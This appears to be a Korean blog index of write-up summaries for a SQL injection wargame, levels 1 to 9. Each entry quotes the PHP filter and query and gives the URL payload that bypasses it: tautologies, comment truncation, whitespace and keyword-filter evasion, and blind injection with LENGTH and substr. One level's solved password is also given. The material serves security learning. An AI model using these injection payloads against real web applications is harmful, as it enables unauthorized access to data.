목록분류 전체보기 (33)
Un_Woo
9. vampire $_GET[id] = str_replace("admin","",$_GET[id]); admin 필터링 $query = "select id from prob_vampire where id='{$_GET[id]}'"; if($result['id'] == 'admin') solve("vampire"); 1. php는 대소문자 구별 못한다. ?id=ADMIN 2. 필터링 역이용 admin 사이에 admin을 넣어준다. ?id=aadmindmin
8. troll if(@ereg("admin",$_GET[id])) exit("HeHe"); admin 필터링 $query = "select id from prob_troll where id='{$_GET[id]}'"; if($result['id'] == 'admin') solve("troll");id='admin' 이 되어야 한다. php는 대소문자 구별 못 한다. ?id=ADMIN
7. orge if(preg_match('/or|and/i', $_GET[pw])) exit("HeHe"); or ,and 필터링 -> ||, &&으로 우회 $query = "select id from prob_orge where id='guest' and pw='{$_GET[pw]}'"; id=guest $_GET[pw] = addslashes($_GET[pw]); ‘, “, \, NULL 앞에 \ 추가 $query = "select pw from prob_orge where id='admin' and pw='{$_GET[pw]}'"; if(($result['pw']) && ($result['pw'] == $_GET['pw'])) solve("orge"); pw를 맞춰야 함 orc처럼 블라인드 인젝션 ..
6. darkelf if(preg_match('/or|and/i', $_GET[pw])) exit("HeHe"); or, and 필터링 $query = "select id from prob_darkelf where id='guest' and pw='{$_GET[pw]}'"; id=guest if($result['id'] == 'admin') solve("darkelf"); id=admin 이어야 클리어 or, and 는 ||, &&로 우회 가능 ?pw=%27%20||%20id=%27admin%27%23
5. wolfman if(preg_match('/ /i', $_GET[pw])) exit("No whitespace ~_~"); 스페이스바 필터링 $query = "select id from prob_wolfman where id='guest' and pw='{$_GET[pw]}'"; if($result['id'] == 'admin') solve("wolfman"); id는 guest로 고정 id가 admin이 되야 클리어스페이스바는 Tap : %09 \n : %0a \r : %0d 주석 : /**/ 괄호 : () 더하기 : + 6개로 우회 가능
4. orc $query = "select id from prob_orc where id='admin' and pw='{$_GET[pw]}'"; id가 admin이고 pw가 맞아야 한다. 하지만 pw는 당연히 모른다. 그래서 pw에 대한 힌트를 얻기 위해 문자열 관련 함수를 사용해야 한다. ?pw=0%27%20or%20LENGTH(pw)=8%23 그래서 문자열의 길이를 리턴하는 LENGTH 함수를 사용해서 pw의 길이를 알아낸다. 그리고 문자열을 자르는 substr 함수를 사용해서 한 글자씩 알아낸다. 하지만 이 과정은 시간이 오래 걸리기 때문에 파이썬으로 코드를 짜서 알아낸다. 이 과정을 블라인드 sql 인젝션이라 한다. ?pw=295d5844
3. goblin if(preg_match('/\'|\"|\`/i', $_GET[no])) exit("No Quotes ~_~"); 쿼터 문자가 필터링된다. $query = "select id from prob_goblin where id='guest' and no={$_GET[no]}"; id는 guest로 고정, no변수를 받는다. if($result['id']) echo "Hello {$result[id]}"; if($result['id'] == 'admin') solve("goblin"); id가 admin이 되어야 클리어 그런데 id를 바꾸기 위해서 ‘를 써야 했지만 쿼터를 필터링하므로 쓸 수 없다. 그러므로 문자열 관련 함수를 사용한다. ASCII()함수는 문자열의 아스키코드를 리턴함 ?no=..
2. Cobolt $query = "select id from prob_cobolt where id='{$_GET[id]}' and pw=md5('{$_GET[pw]}')"; … if($result['id'] == 'admin') solve("cobolt"); pw를 md5로 암호화한다. md5를 아예 주석으로 처리해버리면 넘겨버릴 수 있다. 그리고 id가 admin이 되야한다. ?id=admin%27%23 %27=’, %23=#
1. Gremlin$query = "select id from prob_gremlin where id='{$_GET[id]}' and pw='{$_GET[pw]}'"; id와 pw를 GET으로 받는다. select문을 참으로만 하면 되므로 ?id=1&pw=1%27%20or%20%271=1 넣으면 된다. %20=space, %27=’ 이므로 저걸 넣으면